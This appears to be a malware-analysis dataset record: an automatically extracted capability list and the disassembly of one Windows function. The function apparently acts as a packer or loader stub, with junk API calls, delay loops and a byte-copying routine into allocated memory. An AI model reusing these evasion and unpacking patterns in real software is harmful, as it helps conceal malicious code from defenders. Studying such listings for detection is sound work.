Function at 0x485f50
Capabilities:
Connect pipe
Get common file path
Get disk information
Get file attributes
Get geographical location
Manipulate console buffer
Move file
Read pipe
Write pipe

Disassembly:
mov eax, 0x18e8
call fcn.00407300
mov eax, dword [0x48a004]
xor eax, esp
mov dword [esp + 0x18e4], eax
mov edx, dword [0x48b340]
mov ecx, dword [0x2b89dc4]
push ebx
push ebp
push esi
push edi
xor ebp, ebp
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x485f91
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x485fa5
mov dword [0x48be38], edi
mov dword [0x48be3c], esi
inc eax
cmp eax, 0x1180b56
jl 0x485f84
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [0x2b89dc4], ecx
xor esi, esi
jmp 0x485fc0
cmp esi, 0x55b6ff
jne 0x485fd2
mov eax, dword [0x48aee8]
mov dword [0x2b89ef4], eax
cmp ecx, 0x3c
jne 0x485fe1
push ebp
push ebp
call edi
mov ecx, dword [0x2b89dc4]
inc esi
cmp esi, 0x4cabaa5c
jl 0x485fc0
mov edi, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
push ebp
push ebp
call edi
call ebx
cmp esi, 0x24c2d
jg 0x48600f
inc esi
cmp esi, 0xee1cb
jl 0x485ff8
cmp dword [0x2b89dc4], 0x2a
jne 0x48611f
push ebp
lea ecx, [esp + 0x18]
push ecx
push ebp
lea edx, [esp + 0x100]
push edx
push ebp
push ebp
push ebp
mov dword [0x2b89db8], ebp
mov dword [0x2b89dbc], ebp
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
lea eax, [esp + 0x18]
push eax
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push ebp
xor eax, eax
lea edx, [esp + 0x8f8]
push edx
push str.wuhajirejaxuyokinaja
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
lea eax, [esp + 0x28]
push eax
push ebp
xor ecx, ecx
push ebp
mov word [esp + 0x34], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov eax, dword [esp + 0x10]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push ebp
push ebp
call fcn.0040100f
push ebp
push ebp
call fcn.00401528
push ebp
call fcn.00407474
push ebp
call fcn.0040748e
push ebp
push ebp
call fcn.0040100f
push ebp
call fcn.004012ff
push ebp
push ebp
push ebp
call fcn.0040127b
push ebp
call fcn.00401511
add esp, 0x34
cmp dword [0x2b89dc4], 0x7c
jne 0x486202
push ebp
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebp
lea edx, [esp + 0x8f8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebp
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push ebp
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x2e
lea eax, [esp + 0x34]
push ebp
push eax
mov dword [esp + 0x38], ebp
call fcn.00405260
add esp, 0xc
push ebp
lea ecx, [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebp
push ebp
push ebp
lea edx, [esp + 0x100]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push str.fafob
push str.ciyepaciyodecegapodedan
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
push ebp
push ebp
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x20], ebp
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push ebp
lea edx, [esp + 0x10f8]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebp
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp dword [0x2b89dc4], 0x2d
jne 0x4861f3
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebp
call fcn.004013c9
push ebp
call fcn.004013df
add esp, 8
mov eax, dword [0x2b89dc4]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x2b89dc4]
mov esi, eax
xor ecx, ecx
mov dword [0x2b89c0c], esi
cmp edx, ebp
jbe 0x48624f
mov edi, dword [0x2b89ef4]
mov ebp, 0x17bc
mov edi, edi
mov al, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], al
cmp edx, 0x8d
jne 0x486248
mov dword [0x2b89c10], ebp
inc ecx
cmp ecx, edx
jb 0x486230
xor ebp, ebp
call fcn.00485da0
call fcn.00485c60
call fcn.00485ef0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor esi, esi
cmp dword [0x2b89dc4], 0x41
jne 0x486283
push 0
call edi
push 0
call ebx
cmp esi, 0xd606b
jne 0x486290
call fcn.00485c50
cmp dword [0x2b89dc4], 0xc
jne 0x4862a6
lea ecx, [esp + 0x14]
push ecx
call ebp
call dword [sym.imp.KERNEL32.dll_GetACP]
inc esi
cmp esi, 0x24e87d
jl 0x486272
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, 0x1dfefd
mov edi, 0x8e4e015c
nop
cmp dword [0x2b89dc4], 0x7c4
mov dword [0x2b89c14], edi
jne 0x4862ef
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov word [esp + 0x16], ax
mov edx, dword [esp + 0x14]
push edx
push eax
push eax
push eax
call esi
sub ebx, 1
jne 0x4862c0
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov edi, edi
cmp eax, 0x408e
jle 0x48630f
cmp ecx, 0xf5bed7
jne 0x486317
inc eax
cmp eax, 0x687ed2
jl 0x486300
mov ecx, dword [esp + 0x18e4]
xor ecx, esp
call fcn.00401000
add esp, 0x18e8
ret